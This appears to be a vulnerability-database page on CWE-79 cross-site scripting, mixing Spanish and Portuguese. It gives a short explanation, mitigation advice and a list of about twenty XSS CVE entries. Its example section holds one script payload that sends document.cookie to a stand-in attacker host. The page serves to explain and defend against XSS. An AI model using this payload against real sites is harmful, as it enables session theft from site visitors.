Fallos del tipo CWE-79

30.260 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-31395MEDIUMCross-site scripting vulnerability exists in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.12, Ver.3.0.x series versions prior to VeEPSS 0.3%CVE-2026-112951MEDIUMApostropheCMS: Color field validation bypass allows stored XSS via HTML appended after rgb()/hsl() prefixEPSS 0.3%CVE-2025-22315MEDIUMWordPress Typing Text plugin <= 1.2.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-2355MEDIUMMy Calendar – Accessible Event Manager <= 3.7.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2024-36450MEDIUMCross-site scripting vulnerability exists in sysinfo.cgi of Webmin versions prior to 1.910. If this vulnerability is exploited, an arbitraryEPSS 0.3%CVE-2026-13083MEDIUMPen-drive: pen-drive: stored xss via unescaped cluster data in html reportEPSS 0.3%CVE-2025-54859MEDIUMStored cross-site scripting (XSS) vulnerability in desknet's NEO V9.0R2.0 and earlier allow execution of arbitrary JavaScript in a user’s weEPSS 0.3%CVE-2026-0751MEDIUMPayment Page | Payment Form for Stripe <= 1.4.6 - Authenticated (Author+) Stored Cross-Site Scripting via 'pricing_plan_select_text_font_family' ParameterEPSS 0.3%CVE-2025-14984MEDIUMGutenverse Form <= 2.3.2 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2025-8783MEDIUMContact Manager <= 8.6.5 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'title'EPSS 0.3%CVE-2026-63156MEDIUMOmnispace Agora Project < 26.10.0 Reflected XSS via visioUrl ParameterEPSS 0.3%CVE-2025-21603MEDIUMCross-site scripting vulnerability exists in MZK-DP300N firmware versions 1.05 and earlier. If an attacker logs in to the affected product aEPSS 0.3%CVE-2025-47053MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2024-51900MEDIUMWordPress What Would Seth Godin Do plugin <= 2.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-11332MEDIUMCmsEasy URL view.php cross site scriptingEPSS 0.3%CVE-2025-10367MEDIUMMiczFlor RPi-Jukebox-RFID cardEdit.php cross site scriptingEPSS 0.3%CVE-2024-1219MEDIUMEasy Social Feed < 6.5.6 - Contributor+ Stored XSSEPSS 0.3%CVE-2023-50834MEDIUMWordPress WooCommerce Menu Extension Plugin <= 1.6.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2022-3025MEDIUMBitcoin / Altcoin Faucet <= 1.6.0 - Settings Update to Stored XSS via CSRFEPSS 0.3%CVE-2024-13010MEDIUMWP Foodbakery <= 4.8 - Reflected Cross-Site ScriptingEPSS 0.3%